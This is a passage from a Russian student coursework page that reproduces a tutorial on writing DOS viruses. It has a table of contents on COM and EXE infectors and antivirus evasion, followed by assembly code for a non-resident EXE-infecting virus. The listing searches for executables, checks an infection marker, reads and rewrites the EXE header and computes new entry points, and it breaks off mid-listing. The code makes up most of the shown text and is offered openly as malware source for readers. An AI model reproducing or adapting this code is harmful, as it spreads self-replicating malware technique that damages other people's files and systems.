Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

               mov ah,1ah             ;Восстановим

               mov dx,080h            ;адрес DTA зара-

               mov bp,es              ;женной програм-

               mov ds,bp              ;мы с помощью

               int 21h                ;функции DOS 1Ah

               pop ds                 ;DS <- из стека

 

    В этом фрагменте адрес  DTA устанавливается с помо-

    щью функции DOS 1Ah ( см.ПРИЛОЖЕНИЕ 1).Новый адрес

    должен быть помещен  в DS : DX,  что мы и сделали  .

    Команда " push ds " записывает  в стек  содержимое

    регистра DS, так как этот  регистр используется для

    задания адреса,и поэтому  его значение будет испор-

    чено .

 

 

             1.12 Восстанавливаем точку входа

 

    Далее  необходимо  передать  управление зараженной

    программе ( конечно,  не только что зараженной,  а

    той, из которой стартовал  вирус ) .Для этого нужно

    восстановить ее исходную точку входа,а также пере-

    ключить стек  с вирусной  области  данных  на стек,

    предусмотренный разработчиком  программы .

    Чтобы произвести все  необходимые вычисления,мы ис-

    пользуем параметры заголовка  программы,  сохранен-

    ные ранее в ячейках  " my_XX " .

    При передаче управления  на код вируса в регистр  CS

    было  помещено  такое   значение : CS = NS0 + 10h +

    + Header [16h], и это значение нам  известно - оно

    сейчас  находится в CS .С другой стороны,  настоящая

    точка  входа EXE - программы имеет сегментный  адрес

    CS = NS0 + 10h + my_cs . Таким образом, достаточно

    узнать, чему равна сумма : NS0 + 10h,  и  прибавить

    к ней  " my_cs " .Такая же ситуация  возникает и при

    восстановлении  регистра SS, только здесь к NS0 +

    + 10h нужно  прибавить " my_ss " .Проще всего   вос-

    становить  регистр DS, поскольку при загрузке EXE -

    файла  соблюдается условие : ES = DS = NS0.Для  ини-

    циализации SP и IP можно просто записать  в них чи-

    сла,хранящиеся в переменных " my_sp " и " my_ip ",

    не  производя при этом каких - либо сложных  расче-

    тов  .С учетом этих соображений  можно записать :

 

               mov ax,my_ip

               mov old_ip,ax

               mov ax,my_cs

               mov old_cs,ax

               mov ax,my_16h

               mov to_16h,ax

               mov ax,my_sp

               mov sp,ax              ;Инициализируем

                                      ;регистр SP ...

               mov ax,cs              ;Найдем

               sub ax,to_16h          ;NS0 + 10h ...

               add my_ss,ax           ;Вычислим SS ...

               mov ss,my_ss           ;

               add ax,old_cs          ;Вычислим CS ...

               mov old_cs,ax          ;

               mov ax,es              ;Инициализируем

               mov ds,ax              ;регистр DS ...

 

               jmp $ + 2              ;Сбросим очередь

                                      ;процессора

               db 0eah                ;И перейдем к

    old_ip     dw 0                   ;исполнению

    old_cs     dw 0                   ;программы ...

 

    Команда  перехода к исполнению программы  записана в

    виде  машинного кода,чтобы при необходимости  ее мо-

    жно  было модифицировать .

    И   еще - вы ,  вероятно,  помните,  что  символами

    " NS0 " мы обозначили начальный сегмент  программы.

 

 

               1.13 Область данных вируса

 

    Приведем  данные, которыми оперирует уже  почти соз-

    данный  нами EXE - вирус :

 

                                      ;Собственная DTA

                                      ;вируса

               new_dta       db   128 dup (0)

 

                                      ;Маска для поис-

                                      ;ка файла - жер-

                                     ;твы

               maska         db   '*.exe',0

 

                                      ;Буфер для хра-

                                      ;нения имени

                                      ;найденного

                                      ;файла

               fn            db   12 dup (' '),0

 

                                      ;Массив для хра-

                                      ;нения заголовка

               header        db   27 dup ( 0 )

 

               descrypt      dw   0   ;Ячейка для дес-

                                      ;криптора

 

               to_02h        dw   0   ;Эти ячейки ис-

               to_04h        dw   0   ;пользуются для

               to_16h        dw   0   ;хранения пара-

               my_ip         dw   0   ;метров заголо-

               my_cs         dw   0   ;вка заражаемой

               my_16h        dw   0   ;программы и

               my_ss         dw   0   ;той, из которой

               my_sp         dw   0   ;стартовал

               old_ss        dw   0   ;вирус

               old_sp        dw   0   ;

               f_seek_low    dw   0   ;В эти перемен-

               f_seek_high   dw   0   ;нные  записывае-

                                      ;тся значение

                                      ;указателя

 

                                      ;Вирусный стек

               new_stack     dw   50 dup ( 0 )

 

               last          db   0   ;Сюда помещается

                                      ;последний байт

                                      ;заражаемого

                                      ;файла

 

                             db   '7' ;Последний байт

                                      ;вирусного кода

 

 

               1.14 Используемые процедуры

 

    Осталось только привести  тексты процедур, которыми

    пользуется вирус,  и  работа  почти закончена . Они

    выглядят так :

 

    setpointer proc                   ;Процедура уста-

       mov ax,4200h           ;навливает  ука-

       mov bx,descrypt        ;затель  в файле

       int 21h                ;на заданный

               ret                    ;байт ...

    setpointer endp

 

    read       proc                   ;Процедура  чте-

               mov ah,3fh             ;ния из файла...

       mov bx,descrypt

       int 21h

               ret

    read       endp

 

    write      proc                   ;Процедура за-

               mov ah,40h             ;писи в файл ...

               mov bx,descrypt

               int 21h

               ret

    write      endp

 

    mover      proc                   ;Процедура умно-

               mov cx,04h             ;жения двойного

    left:      shl dx,1               ;слова CX : DX

               shl ax,1               ;на 16 методом

               adc dx,00h             ;сдвига ...

               loop left              ;

               ret                    ;

    mover      endp

 

    Приведенные процедуры очень просты  и довольно эф-

    фективны . Процедура " mover " ,  как уже  говори-

    лось,взята из книги  П .Абеля " Язык ассемблера  для

    IBM PC и программирования ", естественно,без раз-

    решения автора .

 

 

                  1.15 Работа завершена

 

    Только что мы разработали  вирусную программу,  за-

    ражающую EXE - файлы.Последний  штрих - напишем не-

    сколько строк, почти  стандартных для всех  ассемб-

    лерных программ :

 

                                      ;Длина вирусного

                                      ;кода в байтах

       vir_len       equ  $-vir

 

    prg ends

    end vir

 

 

      1.16 Полный текст  нерезидентного EXE - вируса

 

    Для  лучшего  понимания   всего  изложенного в этой

    главе приведем  полный  текст написанной нами  про-

    граммы :

 

    ; ________________________________________________

    ;|                                                |

    ;| Non - TSR EXE virus                            |

    ;| Especially for my readers !                    |

    ;|________________________________________________|

 

    prg segment

       assume cs:prg,ds:prg,es:prg,ss:prg

          org 100h

 

    vir:       mov ax,cs              ;AX = CS ...

               db 2dh                 ;SUB AX,00h

    sub_ds     dw 0                   ;

               mov ds,ax              ;

               mov ss,ax              ;

 

               mov ah,1ah             ;Переключим DTA

       lea dx,new_dta         ;на соответству-

                                      ;ющий массив в

               int 21h                ;области данных

                                      ;вируса ...

 

               mov ax,old_ip          ;Скопируем исхо-

               mov my_ip,ax           ;дные параметры

               mov ax,old_cs          ;заголовка зара-

               mov my_cs,ax           ;женной програм-

               mov ax,to_16h          ;мы в ячейки па-

               mov my_16h,ax          ;мяти " my_XX ",

               mov ax,old_ss          ;так как ячейки

               mov my_ss,ax           ;" old_XX ", в

               mov ax,old_sp          ;которых хранят-

               mov my_sp,ax           ;ся параметры,

                                      ;будут испорчены

                                      ;при заражении

                                      ;нового файла

 

    find_first:mov ah,4eh             ;Поиск первого

       mov cx,00100110b       ;файла :

       lea dx,maska           ;archive, system

       int 21h                ;hidden ...

       jnc r_3

       jmp restore_dta

 

    find_next: mov ah,3eh             ;Закроем  непод-

               mov bx,descrypt        ;ходящий  файл

       int 21h

       jnc r_2

       jmp restore_dta

 

    r_2:       mov ah,4fh             ;Поиск следующе-

       int 21h                ;го ...

       jnc r_3

       jmp restore_dta

 

    r_3:       mov cx,12              ;Очистим об-

       lea si,fn              ;ласть " fn "

    kill_name: mov byte ptr [si],0

       inc si

       loop kill_name

 

               xor si,si              ;И перепишем

    copy_name: mov al,byte ptr new_dta[si + 01eh]

       cmp al,0               ;туда имя най-

       je open_file           ;денного файла

       mov byte ptr fn[si],al

       inc si

       jmp copy_name

 

    open_file: mov ax,3d02h           ;Откроем файл

       lea dx,fn              ;для чтения и

       int 21h                ;записи ...

       jnc found_size

       jmp r_2

 

    found_size:mov descrypt,ax        ;Определим раз-

               mov cx,word ptr [new_dta + 01ch]

               mov dx,word ptr [new_dta + 01ah]

               sub dx,1               ;мер файла и вы-

               sbb cx,0               ;чтем из него

                                      ;единицу ...

               call setpointer        ;Установим  ука-

                                      ;затель на пос-

                                      ;ледний символ

 

    read_last: mov cx,1               ;Прочитаем

               lea dx,last            ;последний

               call read              ;символ ...

       jnc compar

               jmp close_file

 

    compar:    cmp last,'7'           ;Это "семерка" ?

       jne mmm                ;Нет

    to_next:   jmp find_next          ;Да ! Файл уже

                                      ;заражен, и надо

                                      ;искать другой

 

    mmm:       xor cx,cx              ;Установим ука-

               xor dx,dx              ;затель на нача-

               call setpointer        ;ло  файла ...

 

               mov ah,3fh             ;И считаем инте-

       mov bx,descrypt        ;ресующую нас

               mov cx,27              ;часть заголовка

                                      ;в массив " hea-

                                      ;der " .Она как

               lea dx,header          ;раз занимает 27

       int 21h               ;байт...

               jnc next_step          ;

               jmp restore_dta        ;Ошибка чтения !

 

    next_step: mov ax,word ptr header[14h]

               mov old_ip,ax

               mov ax,word ptr header[16h]

               mov old_cs,ax

               mov ax,word ptr header[0eh]

               mov old_ss,ax

               mov ax,word ptr header[10h]

               mov old_sp,ax

 

               mov ax,word ptr header[04h]

               mov cl,5

               shl ax,cl

               cmp ax,0f000h

               jna good_size

               jmp find_next

    good_size: mov bp,ax

               sub ax,word ptr header[08h]

               mov to_16h,ax          ;Это число запи-

                                      ;шется в Header

                                      ;[16h]

               mov ax,bp

               xor dx,dx

               call mover

               mov f_seek_low,ax

               mov f_seek_high,dx

               cmp dx,word ptr [new_dta + 01ch]

               jl to_next

               ja infect

               cmp ax,word ptr [new_dta + 01ah]

               jl to_next

    infect:    add ax,vir_len

               adc dx,0

               mov bx,512

               div bx

               cmp dx,0

               je round

               inc ax

    round:     mov to_04h,ax          ;Это число запи-

                                      ;шется в Header

                                      ;[04h]

Информация о работе Вирусы